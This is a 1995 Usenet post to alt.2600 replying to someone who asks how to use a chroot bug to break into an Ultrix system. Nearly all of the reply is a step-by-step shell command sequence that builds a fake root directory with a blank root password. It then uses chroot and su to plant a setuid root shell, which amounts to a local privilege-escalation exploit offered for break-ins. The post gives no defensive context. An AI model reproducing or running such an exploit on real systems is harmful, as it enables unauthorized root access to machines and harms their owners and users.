From will@rainbow.rmii.comThu Nov  2 17:13:57 1995
Date: 24 OCT 1995 17:43:00 -0600 
From: Will Spencer <will@rainbow.rmii.com>
Newsgroups: alt.2600
Subject: Re: chroot 

magni@ALPcom.it (Alessandro Magni) writes:
>How can  I  use the chroot bug to break in in a Ultrix system?
>Found it in CERT files.


% cd $HOME
% mkdir root
% cd root
% mkdir bin etc usr
% cd bin
% cp /bin/sh sh
% cp /bin/su su
% cd ../etc
% cp /etc/passwd.orig passwd
% cp /etc/group group
% cp /bin/chmod chmod
% cp /bin/chown chown
% vi passwd (modify root password to root::0:0, etc...)
% cd ..
% chroot $HOME/root /bin/sh
% su
% chown root /bin/sh
% chmod 2755 /bin/sh
% chmod u+s /bin/sh
% exit
% exit
% $HOME/root/bin/sh
 

-- 
/*  Will Spencer / Voyager        :  The advancement and diffusion  */
/*  Member: TNO, The New Order    :  of knowledge is the only       */
/*  alt.2600/#hack FAQ Editor     :  guardian of true liberty.      */
/*  Writer, poet, hacker, human   :               -- James Madison  */